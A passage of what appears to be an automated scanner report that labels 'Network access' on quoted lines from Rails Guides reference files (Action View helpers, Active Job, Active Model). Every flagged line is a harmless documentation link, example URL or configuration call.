    See the [`time_ago_in_words` API Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/DateHelper.html#method-i-time_ago_in_words)
  • Network accessline 60
    Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/DateHelper.html#method-i-time_ago_in_words)
  • Network accessline 77
    See the [`number_to_currency` API Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/NumberHelper.html#method-i-number_to_currency)
  • Network accessline 78
    Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/NumberHelper.html#method-i-number_to_currency)
  • Network accessline 91
    See the [`number_to_human` API Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/NumberHelper.html#method-i-number_to_human)
  • Network accessline 92
    Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/NumberHelper.html#method-i-number_to_human)
  • Network accessline 105
    See the [`number_to_human_size` API Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/NumberHelper.html#method-i-number_to_human_size)
  • Network accessline 106
    Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/NumberHelper.html#method-i-number_to_human_size)
  • Network accessline 117
    See the [`number_to_percentage` API Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/NumberHelper.html#method-i-number_to_percentage)
  • Network accessline 118
    Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/NumberHelper.html#method-i-number_to_percentage)
  • Network accessline 129
    See the [`number_to_phone` API Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/NumberHelper.html#method-i-number_to_phone)
  • Network accessline 130
    Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/NumberHelper.html#method-i-number_to_phone)
  • Network accessline 141
    See the [`number_with_delimiter` API Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/NumberHelper.html#method-i-number_with_delimiter)
  • Network accessline 142
    Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/NumberHelper.html#method-i-number_with_delimiter)
  • Network accessline 154
    See the [`number_with_precision` API Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/NumberHelper.html#method-i-number_with_precision)
  • Network accessline 155
    Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/NumberHelper.html#method-i-number_with_precision)
  • Network accessline 177
    See the [`excerpt` API Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/TextHelper.html#method-i-excerpt)
  • Network accessline 178
    Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/TextHelper.html#method-i-excerpt)
  • Network accessline 191
    See the [`pluralize` API Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/TextHelper.html#method-i-pluralize)
  • Network accessline 192
    Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/TextHelper.html#method-i-pluralize)
  • Network accessline 218
    See the [`truncate` API Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/TextHelper.html#method-i-truncate)
  • Network accessline 219
    Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/TextHelper.html#method-i-truncate)
  • Network accessline 231
    See the [`word_wrap` API Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/TextHelper.html#method-i-word_wrap)
  • Network accessline 232
    Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/TextHelper.html#method-i-word_wrap)
  • Network accessline 270
    See the [`button_to` API Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/UrlHelper.html#method-i-button_to)
  • Network accessline 271
    Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/UrlHelper.html#method-i-button_to)
  • Network accessline 284
    See the [`current_page?` API Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/UrlHelper.html#method-i-current_page-3F)
  • Network accessline 285
    Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/UrlHelper.html#method-i-current_page-3F)
  • Network accessline 304
    link_to nil, "https://example.com"
  • Network accessline 305
    # => <a href="https://example.com">https://example.com</a>
  • Network accessline 327
    See the [`link_to` API Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/UrlHelper.html#method-i-link_to)
  • Network accessline 328
    Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/UrlHelper.html#method-i-link_to)
  • Network accessline 346
    See the [`mail_to` API Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/UrlHelper.html#method-i-mail_to)
  • Network accessline 347
    Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/UrlHelper.html#method-i-mail_to)
  • Network accessline 373
    This functionality is powered internally by the [rails-html-sanitizer](https://github.com/rails/rails-html-sanitizer) gem.
  • Network accessline 374
    [rails-html-sanitizer](https://github.com/rails/rails-html-sanitizer) gem.
  • Network accessline 402
    See the [`sanitize` API Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/SanitizeHelper.html#method-i-sanitize)
  • Network accessline 403
    Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/SanitizeHelper.html#method-i-sanitize)
  • Network accessline 418
    See the [`sanitize_css` API Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/SanitizeHelper.html#method-i-sanitize_css)
  • Network accessline 419
    Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/SanitizeHelper.html#method-i-sanitize_css)
  • Network accessline 427
    strip_links("<a href='https://rubyonrails.org'>Ruby on Rails</a>")
  • Network accessline 433
    strip_links("Blog: <a href='http://myblog.com/'>Visit</a>.")
  • Network accessline 437
    See the [`strip_links` API Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/SanitizeHelper.html#method-i-strip_links)
  • Network accessline 438
    Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/SanitizeHelper.html#method-i-strip_links)
  • Network accessline 452
    strip_links('<<a href="https://example.org">malformed & link</a>')
  • Network accessline 456
    See the [`strip_tags` API Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/SanitizeHelper.html#method-i-strip_tags)
  • Network accessline 457
    Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/SanitizeHelper.html#method-i-strip_tags)
  • Network accessline 504
    INFO: Internally, `audio_tag` uses [`audio_path` from the AssetUrlHelpers](https://api.rubyonrails.org/classes/ActionView/Helpers/AssetUrlHelper.html#method-i-audio_path)
  • Network accessline 505
    AssetUrlHelpers](https://api.rubyonrails.org/classes/ActionView/Helpers/AssetUrlHelper.html#method-i-audio_path)
  • Network accessline 508
    See the [`audio_tag` API Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/AssetTagHelper.html#method-i-audio_tag)
  • Network accessline 509
    Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/AssetTagHelper.html#method-i-audio_tag)
  • Network accessline 518
    auto_discovery_link_tag(:rss, "http://www.example.com/feed.rss", { title: "RSS Feed" })
  • Network accessline 519
    # => <link rel="alternate" type="application/rss+xml" title="RSS Feed" href="http://www.example.com/feed.rss" />
  • Network accessline 522
    See the [`auto_discovery_link_tag` API Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/AssetTagHelper.html#method-i-auto_discovery_link_tag)
  • Network accessline 523
    Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/AssetTagHelper.html#method-i-auto_discovery_link_tag)
  • Network accessline 536
    See the [`favicon_link_tag` API Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/AssetTagHelper.html#method-i-favicon_link_tag)
  • Network accessline 537
    Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/AssetTagHelper.html#method-i-favicon_link_tag)
  • Network accessline 553
    INFO: Internally, `image_tag` uses [`image_path` from the AssetUrlHelpers](https://api.rubyonrails.org/classes/ActionView/Helpers/AssetUrlHelper.html#method-i-image_path)
  • Network accessline 554
    AssetUrlHelpers](https://api.rubyonrails.org/classes/ActionView/Helpers/AssetUrlHelper.html#method-i-image_path)
  • Network accessline 557
    See the [`image_tag` API Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/AssetTagHelper.html#method-i-image_tag)
  • Network accessline 558
    Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/AssetTagHelper.html#method-i-image_tag)
  • Network accessline 581
    INFO: Internally, `javascript_include_tag` uses [`javascript_path` from the AssetUrlHelpers](https://api.rubyonrails.org/classes/ActionView/Helpers/AssetUrlHelper.html#method-i-javascript_path)
  • Network accessline 582
    AssetUrlHelpers](https://api.rubyonrails.org/classes/ActionView/Helpers/AssetUrlHelper.html#method-i-javascript_path)
  • Network accessline 585
    See the [`javascript_include_tag` API Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/AssetTagHelper.html#method-i-javascript_include_tag)
  • Network accessline 586
    Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/AssetTagHelper.html#method-i-javascript_include_tag)
  • Network accessline 608
    See the [`picture_tag` API Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/AssetTagHelper.html#method-i-picture_tag)
  • Network accessline 609
    Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/AssetTagHelper.html#method-i-picture_tag)
  • Network accessline 622
    See the [`preload_link_tag` API Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/AssetTagHelper.html#method-i-preload_link_tag)
  • Network accessline 623
    Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/AssetTagHelper.html#method-i-preload_link_tag)
  • Network accessline 642
    INFO: Internally, `stylesheet_link_tag` uses [`stylesheet_path` from the AssetUrlHelpers](https://api.rubyonrails.org/classes/ActionView/Helpers/AssetUrlHelper.html#method-i-stylesheet_path)
  • Network accessline 643
    AssetUrlHelpers](https://api.rubyonrails.org/classes/ActionView/Helpers/AssetUrlHelper.html#method-i-stylesheet_path)
  • Network accessline 646
    See the [`stylesheet_link_tag` API Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/AssetTagHelper.html#method-i-stylesheet_link_tag)
  • Network accessline 647
    Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/AssetTagHelper.html#method-i-stylesheet_link_tag)
  • Network accessline 668
    INFO: Internally, `video_tag` uses [`video_path` from the AssetUrlHelpers](https://api.rubyonrails.org/classes/ActionView/Helpers/AssetUrlHelper.html#method-i-video_path)
  • Network accessline 669
    AssetUrlHelpers](https://api.rubyonrails.org/classes/ActionView/Helpers/AssetUrlHelper.html#method-i-video_path)
  • Network accessline 672
    See the [`video_tag` API Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/AssetTagHelper.html#method-i-video_tag)
  • Network accessline 673
    Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/AssetTagHelper.html#method-i-video_tag)
  • Network accessline 704
    See the [`escape_javascript` API Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/JavaScriptHelper.html#method-i-escape_javascript)
  • Network accessline 705
    Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/JavaScriptHelper.html#method-i-escape_javascript)
  • Network accessline 733
    See the [`javascript_tag` API Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/JavaScriptHelper.html#method-i-javascript_tag)
  • Network accessline 734
    Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/JavaScriptHelper.html#method-i-javascript_tag)
  • Network accessline 781
    See the [`tag` API Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/TagHelper.html#method-i-tag)
  • Network accessline 782
    Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/TagHelper.html#method-i-tag)
  • Network accessline 843
    See the [`capture` API Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/CaptureHelper.html#method-i-capture)
  • Network accessline 844
    Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/CaptureHelper.html#method-i-capture)
  • Network accessline 908
    See the [`content_for` API Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/CaptureHelper.html#method-i-content_for)
  • Network accessline 909
    Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/CaptureHelper.html#method-i-content_for)
  • Network accessline 933
    See the [`benchmark` API Documentation](https://api.rubyonrails.org/classes/ActiveSupport/Benchmarkable.html#method-i-benchmark)
  • Network accessline 934
    Documentation](https://api.rubyonrails.org/classes/ActiveSupport/Benchmarkable.html#method-i-benchmark)
  • Network accessline 974
    See [`Fragment Caching`](caching_with_rails.html#fragment-caching) and the [`cache` API Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/CacheHelper.html#method-i-cache)
  • Network accessline 975
    [`cache` API Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/CacheHelper.html#method-i-cache) for more information.
  • Network accessline 976
    Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/CacheHelper.html#method-i-cache)
  • Network accessline 1027
    See the [`atom_feed` API Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/AtomFeedHelper.html#method-i-atom_feed)
  • Network accessline 1028
    Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/AtomFeedHelper.html#method-i-atom_feed)
  • Network accessline 1052
    See the [`debug` API Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/DebugHelper.html#method-i-debug)
  • Network accessline 1053
    Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/DebugHelper.html#method-i-debug)

packages/autoskills/skills-registry/rails-guides/references/action_view_overview.md

  • Network accessline 1
    **DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**
  • Network accessline 17
    Action View is the V in [MVC](https://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93controller).
  • Network accessline 18
    [MVC](https://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93controller). [Action Controller](action_controller_overview.html) and Action View work together to handle web requests. Action Controller is concerned with
  • Network accessline 33
    NOTE: Action View can make use of Active Model features like [`to_param`](https://api.rubyonrails.org/classes/ActiveModel/Conversion.html#method-i-to_param)
  • Network accessline 34
    [`to_param`](https://api.rubyonrails.org/classes/ActiveModel/Conversion.html#method-i-to_param)
  • Network accessline 35
    and [`to_partial_path`](https://api.rubyonrails.org/classes/ActiveModel/Conversion.html#method-i-to_partial_path) to simplify code. That doesn't mean Action View depends on Active Model. Action
  • Network accessline 36
    [`to_partial_path`](https://api.rubyonrails.org/classes/ActiveModel/Conversion.html#method-i-to_partial_path)
  • Network accessline 85
    has a `.erb` extension, it uses embedded Ruby to build an HTML response. If the template has a `.jbuilder` extension, it uses the [Jbuilder](https://github.com/rails/jbuilder) gem to build a JSON response. And
  • Network accessline 86
    template has a `.jbuilder` extension, it uses the [Jbuilder](https://github.com/rails/jbuilder) gem to build a JSON response. And a template with a `.builder` extension uses the
  • Network accessline 87
    [Jbuilder](https://github.com/rails/jbuilder) gem to build a JSON response. And
  • Network accessline 88
    a template with a `.builder` extension uses the [`Builder::XmlMarkup`](https://github.com/rails/builder) library to build an XML response.
  • Network accessline 89
    [`Builder::XmlMarkup`](https://github.com/rails/builder) library to build an XML
  • Network accessline 168
    See the [Jbuilder documentation](https://github.com/rails/jbuilder#jbuilder) for
  • Network accessline 182
    xml.em("emphasized") xml.em { xml.b("emph & bold") } xml.a("A Link", "href" => "https://rubyonrails.org")
  • Network accessline 183
    xml.em { xml.b("emph & bold") } xml.a("A Link", "href" => "https://rubyonrails.org") xml.target("name" => "compile", "option" => "fast")
  • Network accessline 184
    xml.a("A Link", "href" => "https://rubyonrails.org")
  • Network accessline 191
    <em>emphasized</em> <em><b>emph &amp; bold</b></em> <a href="https://rubyonrails.org">A link</a>
  • Network accessline 192
    <em><b>emph &amp; bold</b></em> <a href="https://rubyonrails.org">A link</a> <target option="fast" name="compile" />
  • Network accessline 193
    <a href="https://rubyonrails.org">A link</a>
  • Network accessline 216
    See [Builder documentation](https://github.com/rails/builder) for more examples.
  • Network accessline 241
    To render a partial as part of a view, you use the [`render`](https://api.rubyonrails.org/classes/ActionView/Helpers/RenderingHelper.html#method-i-render)
  • Network accessline 242
    [`render`](https://api.rubyonrails.org/classes/ActionView/Helpers/RenderingHelper.html#method-i-render)
  • Network accessline 535
    Since `local_assigns` is a `Hash`, it's compatible with [Ruby 3.1's pattern matching assignment operator](https://docs.ruby-lang.org/en/master/syntax/pattern_matching_rdoc.html):
  • Network accessline 537
    operator](https://docs.ruby-lang.org/en/master/syntax/pattern_matching_rdoc.html):
  • Network accessline 581
    <% local_assigns.fetch(:related_products, []).each do |related_product| %>
  • Network accessline 586
    Combining Ruby 3.1's pattern matching assignment with calls to [Hash#with_defaults](https://api.rubyonrails.org/classes/Hash.html#method-i-with_defaults)
  • Network accessline 587
    [Hash#with_defaults](https://api.rubyonrails.org/classes/Hash.html#method-i-with_defaults)
  • Network accessline 604
    [local_assigns]:     https://api.rubyonrails.org/classes/ActionView/Template.html#method-i-local_assigns
  • Network accessline 605
    https://api.rubyonrails.org/classes/ActionView/Template.html#method-i-local_assigns

packages/autoskills/skills-registry/rails-guides/references/active_job_basics.md

  • Network accessline 1
    **DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**
  • Network accessline 2
    <https://guides.rubyonrails.org>.**
  • Network accessline 77
    For example, given a custom abstract job class using [queue_as](https://api.rubyonrails.org/classes/ActiveJob/QueueName/ClassMethods.html#method-i-queue_as):
  • Network accessline 78
    [queue_as](https://api.rubyonrails.org/classes/ActiveJob/QueueName/ClassMethods.html#method-i-queue_as):
  • Network accessline 121
    Use the [`set`](https://api.rubyonrails.org/classes/ActiveJob/Core/ClassMethods.html#method-i-set)
  • Network accessline 122
    [`set`](https://api.rubyonrails.org/classes/ActiveJob/Core/ClassMethods.html#method-i-set)
  • Network accessline 163
    [`perform_now`]:     https://api.rubyonrails.org/classes/ActiveJob/Execution.html#method-i-perform_now
  • Network accessline 164
    https://api.rubyonrails.org/classes/ActiveJob/Execution.html#method-i-perform_now
  • Network accessline 165
    [`perform_later`]:  https://api.rubyonrails.org/classes/ActiveJob/Enqueuing/ClassMethods.html#method-i-perform_later [`set`]:
  • Network accessline 166
    https://api.rubyonrails.org/classes/ActiveJob/Enqueuing/ClassMethods.html#method-i-perform_later
  • Network accessline 168
    https://api.rubyonrails.org/classes/ActiveJob/Core/ClassMethods.html#method-i-set
  • Network accessline 189
    Active Job supports [GlobalID](https://github.com/rails/globalid/blob/main/README.md) for arguments.
  • Network accessline 190
    [GlobalID](https://github.com/rails/globalid/blob/main/README.md) for arguments.
  • Network accessline 402
    configuring.html#config-active-job-queue-name-prefix [`queue_as`]:     https://api.rubyonrails.org/classes/ActiveJob/QueueName/ClassMethods.html#method-i-queue_as
  • Network accessline 404
    https://api.rubyonrails.org/classes/ActiveJob/QueueName/ClassMethods.html#method-i-queue_as
  • Network accessline 463
    [`queue_with_priority`]:     https://api.rubyonrails.org/classes/ActiveJob/QueuePriority/ClassMethods.html#method-i-queue_with_priority
  • Network accessline 464
    https://api.rubyonrails.org/classes/ActiveJob/QueuePriority/ClassMethods.html#method-i-queue_with_priority
  • Network accessline 468
    You can enqueue multiple jobs at once using [`perform_all_later`](https://api.rubyonrails.org/classes/ActiveJob.html#method-c-perform_all_later).
  • Network accessline 469
    [`perform_all_later`](https://api.rubyonrails.org/classes/ActiveJob.html#method-c-perform_all_later).
  • Network accessline 538
    The method [`successfully_enqueued?`](https://api.rubyonrails.org/classes/ActiveJob/Core.html#method-i-successfully_enqueued-3F)
  • Network accessline 539
    [`successfully_enqueued?`](https://api.rubyonrails.org/classes/ActiveJob/Core.html#method-i-successfully_enqueued-3F)
  • Network accessline 639
    [`before_enqueue`]:  https://api.rubyonrails.org/classes/ActiveJob/Callbacks/ClassMethods.html#method-i-before_enqueue
  • Network accessline 640
    https://api.rubyonrails.org/classes/ActiveJob/Callbacks/ClassMethods.html#method-i-before_enqueue
  • Network accessline 641
    [`around_enqueue`]: https://api.rubyonrails.org/classes/ActiveJob/Callbacks/ClassMethods.html#method-i-around_enqueue [`after_enqueue`]:
  • Network accessline 642
    https://api.rubyonrails.org/classes/ActiveJob/Callbacks/ClassMethods.html#method-i-around_enqueue
  • Network accessline 643
    [`after_enqueue`]:     https://api.rubyonrails.org/classes/ActiveJob/Callbacks/ClassMethods.html#method-i-after_enqueue [`before_perform`]:
  • Network accessline 644
    https://api.rubyonrails.org/classes/ActiveJob/Callbacks/ClassMethods.html#method-i-after_enqueue
  • Network accessline 645
    [`before_perform`]: https://api.rubyonrails.org/classes/ActiveJob/Callbacks/ClassMethods.html#method-i-before_perform [`around_perform`]:
  • Network accessline 646
    https://api.rubyonrails.org/classes/ActiveJob/Callbacks/ClassMethods.html#method-i-before_perform
  • Network accessline 647
    [`around_perform`]: https://api.rubyonrails.org/classes/ActiveJob/Callbacks/ClassMethods.html#method-i-around_perform [`after_perform`]:
  • Network accessline 648
    https://api.rubyonrails.org/classes/ActiveJob/Callbacks/ClassMethods.html#method-i-around_perform
  • Network accessline 649
    [`after_perform`]: https://api.rubyonrails.org/classes/ActiveJob/Callbacks/ClassMethods.html#method-i-after_perform [`after_discard`]:
  • Network accessline 650
    https://api.rubyonrails.org/classes/ActiveJob/Callbacks/ClassMethods.html#method-i-after_perform
  • Network accessline 652
    https://api.rubyonrails.org/classes/ActiveJob/Exceptions/ClassMethods.html#method-i-after_discard
  • Network accessline 661
    class GuestsCleanupJob < ApplicationJob   before_enqueue do |job|     throw :abort if ENV.fetch("DISABLE_GUESTS_CLEANUP_JOB", true)
  • Network accessline 662
    before_enqueue do |job|     throw :abort if ENV.fetch("DISABLE_GUESTS_CLEANUP_JOB", true)   end
  • Network accessline 663
    throw :abort if ENV.fetch("DISABLE_GUESTS_CLEANUP_JOB", true)
  • Network accessline 688
    To use continuations, include the `ActiveJob::Continuable` module in your Job class. You can then define each step inside the `perform` method using [`step`](https://api.rubyonrails.org/classes/ActiveJob/Continuation/Step.html).
  • Network accessline 690
    [`step`](https://api.rubyonrails.org/classes/ActiveJob/Continuation/Step.html).
  • Network accessline 731
    Steps can also use an optional [cursor](https://api.rubyonrails.org/classes/ActiveJob/Continuation.html#class-ActiveJob::Continuation-label-Cursors)
  • Network accessline 732
    [cursor](https://api.rubyonrails.org/classes/ActiveJob/Continuation.html#class-ActiveJob::Continuation-label-Cursors)
  • Network accessline 804
    [`Active Model Attributes API`]:     https://api.rubyonrails.org/classes/ActiveModel/Attributes.html
  • Network accessline 805
    https://api.rubyonrails.org/classes/ActiveModel/Attributes.html
  • Network accessline 807
    https://api.rubyonrails.org/classes/ActiveJob/Attributes.html
  • Network accessline 809
    Job Continuations make it easier to build long-running or multi-phase jobs that can safely pause and resume without losing progress. For more details, see [ActiveJob::Continuation](https://api.rubyonrails.org/classes/ActiveJob/Continuation.
  • Network accessline 811
    [ActiveJob::Continuation](https://api.rubyonrails.org/classes/ActiveJob/Continuation.html).
  • Network accessline 925
    - queues: "*"       threads: 3       processes: <%= ENV.fetch("JOB_CONCURRENCY", 1) %>
  • Network accessline 926
    threads: 3       processes: <%= ENV.fetch("JOB_CONCURRENCY", 1) %>       polling_interval: 0.1
  • Network accessline 927
    processes: <%= ENV.fetch("JOB_CONCURRENCY", 1) %>
  • Network accessline 946
    You can read more about these [configuration options in the Solid Queue documentation](https://github.com/rails/solid_queue?tab=readme-ov-file#configuration).
  • Network accessline 947
    documentation](https://github.com/rails/solid_queue?tab=readme-ov-file#configuration).
  • Network accessline 948
    There are also [additional configuration options](https://github.com/rails/solid_queue?tab=readme-ov-file#other-configuration-settings) that can be set in `config/<environment>.rb` to further configure Solid Queue in
  • Network accessline 949
    options](https://github.com/rails/solid_queue?tab=readme-ov-file#other-configuration-settings)
  • Network accessline 1126
    since you don't control the call to `perform_later` in those cases. For recurring tasks, enqueue errors are logged but not raised. See [Errors When Enqueuing](https://github.com/rails/solid_queue?tab=readme-ov-file#errors-when-enqueuing)
  • Network accessline 1127
    recurring tasks, enqueue errors are logged but not raised. See [Errors When Enqueuing](https://github.com/rails/solid_queue?tab=readme-ov-file#errors-when-enqueuing) in the Solid Queue documentation for more detail.
  • Network accessline 1128
    Enqueuing](https://github.com/rails/solid_queue?tab=readme-ov-file#errors-when-enqueuing)
  • Network accessline 1135
    control how quickly Solid Queue detects and cleans up expired processes. See [Threads, Processes and Signals](https://github.com/rails/solid_queue?tab=readme-ov-file#threads-processes-and-signals)
  • Network accessline 1136
    [Threads, Processes and Signals](https://github.com/rails/solid_queue?tab=readme-ov-file#threads-processes-and-signals) in the Solid Queue documentation for details on configuring this behavior.
  • Network accessline 1137
    Signals](https://github.com/rails/solid_queue?tab=readme-ov-file#threads-processes-and-signals)
  • Network accessline 1230
    You can read more about [Transactional Integrity in the Solid Queue documentation](https://github.com/rails/solid_queue?tab=readme-ov-file#jobs-and-transactional-integrity)
  • Network accessline 1231
    documentation](https://github.com/rails/solid_queue?tab=readme-ov-file#jobs-and-transactional-integrity)
  • Network accessline 1250
    Each task specifies a `class` or `command` and a `schedule` (parsed using [Fugit](https://github.com/floraison/fugit)). You can also pass arguments to
  • Network accessline 1251
    [Fugit](https://github.com/floraison/fugit)). You can also pass arguments to
  • Network accessline 1256
    You can learn more about [Recurring Tasks](https://github.com/rails/solid_queue?tab=readme-ov-file#recurring-tasks)
  • Network accessline 1257
    Tasks](https://github.com/rails/solid_queue?tab=readme-ov-file#recurring-tasks)
  • Network accessline 1263
    While Solid Queue is the default queuing backend in Rails, Active Job is designed to work seamlessly with different queuing backends. Switching to an alternative backend, such as [Sidekiq](https://github.com/sidekiq/sidekiq),
  • Network accessline 1264
    designed to work seamlessly with different queuing backends. Switching to an alternative backend, such as [Sidekiq](https://github.com/sidekiq/sidekiq), [GoodJob](https://github.com/bensheldon/good_job), or
  • Network accessline 1265
    alternative backend, such as [Sidekiq](https://github.com/sidekiq/sidekiq),
  • Network accessline 1266
    [GoodJob](https://github.com/bensheldon/good_job), or
  • Network accessline 1267
    [Resque](https://github.com/resque/resque), requires only a configuration change
  • Network accessline 1273
    - [Sidekiq](https://github.com/mperham/sidekiq/wiki/Active-Job)
  • Network accessline 1274
    - [Resque](https://github.com/resque/resque/wiki/ActiveJob)
  • Network accessline 1275
    - [Sneakers](https://github.com/jondot/sneakers/wiki/How-To:-Rails-Background-Jobs-with-ActiveJob)
  • Network accessline 1276
    - [Queue Classic](https://github.com/QueueClassic/queue_classic#active-job)
  • Network accessline 1277
    - [Delayed Job](https://github.com/collectiveidea/delayed_job#active-job)
  • Network accessline 1278
    - [Que](https://github.com/que-rb/que#additional-rails-specific-setup)
  • Network accessline 1279
    - [Good Job](https://github.com/bensheldon/good_job#readme)
  • Network accessline 1335
    The [Mission Control](https://github.com/rails/mission_control-jobs) engine is a
  • Network accessline 1348
    Exceptions raised during the execution of the job can be handled with [`rescue_from`](https://api.rubyonrails.org/classes/ActiveSupport/Rescuable/ClassMethods.html#method-i-rescue_from):
  • Network accessline 1349
    [`rescue_from`](https://api.rubyonrails.org/classes/ActiveSupport/Rescuable/ClassMethods.html#method-i-rescue_from):
  • Network accessline 1390
    [`discard_on`]:     https://api.rubyonrails.org/classes/ActiveJob/Exceptions/ClassMethods.html#method-i-discard_on
  • Network accessline 1391
    https://api.rubyonrails.org/classes/ActiveJob/Exceptions/ClassMethods.html#method-i-discard_on
  • Network accessline 1393
    https://api.rubyonrails.org/classes/ActiveJob/Exceptions/ClassMethods.html#method-i-retry_on
  • Network accessline 1400
    If a passed record is deleted after the job is enqueued but before the `#perform` method is called Active Job will raise an [`ActiveJob::DeserializationError`](https://api.rubyonrails.org/classes/ActiveJob/DeserializationError.html)
  • Network accessline 1401
    `#perform` method is called Active Job will raise an [`ActiveJob::DeserializationError`](https://api.rubyonrails.org/classes/ActiveJob/DeserializationError.html) exception.
  • Network accessline 1402
    [`ActiveJob::DeserializationError`](https://api.rubyonrails.org/classes/ActiveJob/DeserializationError.html)

packages/autoskills/skills-registry/rails-guides/references/active_model_basics.md

  • Network accessline 1
    **DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**
  • Network accessline 43
    [`ActiveModel::API`](https://api.rubyonrails.org/classes/ActiveModel/API.html)
  • Network accessline 44
    adds the ability for a class to work with [Action Pack](https://api.rubyonrails.org/files/actionpack/README_rdoc.html) and [Action View](action_view_overview.html) right out of the box.
  • Network accessline 45
    Pack](https://api.rubyonrails.org/files/actionpack/README_rdoc.html) and [Action
  • Network accessline 98
    Any class that includes `ActiveModel::API` can be used with `form_with`, `render` and any other [Action View helper methods](https://api.rubyonrails.org/classes/ActionView/Helpers.html), just like
  • Network accessline 99
    `render` and any other [Action View helper methods](https://api.rubyonrails.org/classes/ActionView/Helpers.html), just like Active Record objects.
  • Network accessline 100
    methods](https://api.rubyonrails.org/classes/ActionView/Helpers.html), just like
  • Network accessline 134
    [`ActiveModel::Model`](https://api.rubyonrails.org/classes/ActiveModel/Model.html)
  • Network accessline 155
    [`ActiveModel::Attributes`](https://api.rubyonrails.org/classes/ActiveModel/Attributes.html)
  • Network accessline 223
    [`ActiveModel::AttributeAssignment`](https://api.rubyonrails.org/classes/ActiveModel/AttributeAssignment.html)
  • Network accessline 256
    NOTE: `permitted?` is used for [strong params](https://guides.rubyonrails.org/action_controller_overview.html#strong-parameters)
  • Network accessline 257
    params](https://guides.rubyonrails.org/action_controller_overview.html#strong-parameters)
  • Network accessline 319
    [`ActiveModel::AttributeMethods`](https://api.rubyonrails.org/classes/ActiveModel/AttributeMethods.html)
  • Network accessline 439
    [`ActiveModel::Callbacks`](https://api.rubyonrails.org/classes/ActiveModel/Callbacks.html)
  • Network accessline 616
    [`ActiveModel::Conversion`](https://api.rubyonrails.org/classes/ActiveModel/Conversion.html)
  • Network accessline 705
    [`ActiveModel::Dirty`](https://api.rubyonrails.org/classes/ActiveModel/Dirty.html)
  • Network accessline 895
    [`ActiveModel::Naming`](https://api.rubyonrails.org/classes/ActiveModel/Naming.html)
  • Network accessline 897
